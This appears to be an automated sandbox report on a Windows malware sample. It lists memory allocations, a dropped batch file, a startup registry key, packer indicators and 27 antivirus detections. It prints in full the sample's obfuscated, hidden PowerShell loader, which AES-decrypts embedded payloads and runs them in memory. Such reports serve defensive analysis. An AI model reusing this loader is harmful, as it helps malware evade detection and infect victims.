NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00024000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00112000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00025000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00160000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00013000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00026000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00113000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0001a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00027000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 11, 2023, 11:32 a.m.	process_identifier: 2736 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\novmUni.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00822400', u'virtual_address': u'0x0000f000', u'entropy': 7.998451866090035, u'name': u'.rsrc', u'virtual_size': u'0x00823000'}

entropy

7.99845186609

description

A section with a high entropy has been found

entropy

0.995161001255

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 11, 2023, 11:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"novmUni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function ItmBZ($ogric){ $IElVr=[System.Security.Cryptography.Aes]::Create(); $IElVr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $IElVr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $IElVr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wJjorT+Aac5NCh5wrAWQUFcEPUj7wBVKQNjCfdJ0KRw='); $IElVr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Krv5KmIo7w4pmwbM//SeQw=='); $JySGi=$IElVr.CreateDecryptor(); $return_var=$JySGi.TransformFinalBlock($ogric, 0, $ogric.Length); $JySGi.Dispose(); $IElVr.Dispose(); $return_var;}function eaEXK($ogric){ $OPfxB=New-Object System.IO.MemoryStream(,$ogric); $YVwfV=New-Object System.IO.MemoryStream; $oEEGY=New-Object System.IO.Compression.GZipStream($OPfxB, [IO.Compression.CompressionMode]::Decompress); $oEEGY.CopyTo($YVwfV); $oEEGY.Dispose(); $OPfxB.Dispose(); $YVwfV.Dispose(); $YVwfV.ToArray();}function wJchA($ogric,$cRbox){ $GnPPz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$ogric); $HeFrj=$GnPPz.EntryPoint; $HeFrj.Invoke($null, $cRbox);}$TsnzL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\test22\AppData\Local\Temp\IXP000.TMP\novmUni.bat').Split([Environment]::NewLine);foreach ($fSaiO in $TsnzL) { if ($fSaiO.StartsWith('SEROXEN')) { $BJIxm=$fSaiO.Substring(7); break; }}$KjNon=[string[]]$BJIxm.Split('\');$SEncS=eaEXK (ItmBZ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($KjNon[0])));$wCpiI=eaEXK (ItmBZ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($KjNon[1])));wJchA $wCpiI (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));wJchA $SEncS (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

reg_value

rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\novmUni.bat.exe

File has been identified by 27 AntiVirus engines on VirusTotal as malicious (27 events)

Bkav	W32.Common.16E512DC
Elastic	malicious (moderate confidence)
Skyhigh	BehavesLike.Win64.Dropper.rc
McAfee	Artemis!6B34210F067D
Alibaba	Ransom:Win32/PolyRansom.cd55e8c1
Cybereason	malicious.47081a
ESET-NOD32	BAT/Agent.PLI
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	Trojan-Ransom.Win32.PolyRansom.dhna
Avast	Win64:Malware-gen
F-Secure	Trojan.TR/Ransom.dbihz
TrendMicro	Trojan.Win64.SMOKELOADER.YXDJIZ
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.6b34210f067d6650
Ikarus	Trojan-Spy.RedLineStealer
Google	Detected
Avira	TR/Ransom.dbihz
Kingsoft	malware.kb.a.979
Gridinsoft	Ransom.Win64.Wacatac.sa
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	Trojan-Ransom.Win32.PolyRansom.dhna
Cylance	unsafe
TrendMicro-HouseCall	Trojan.Win64.SMOKELOADER.YXDJIZ
AVG	Win64:Malware-gen
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_60% (W)

pew.EXE

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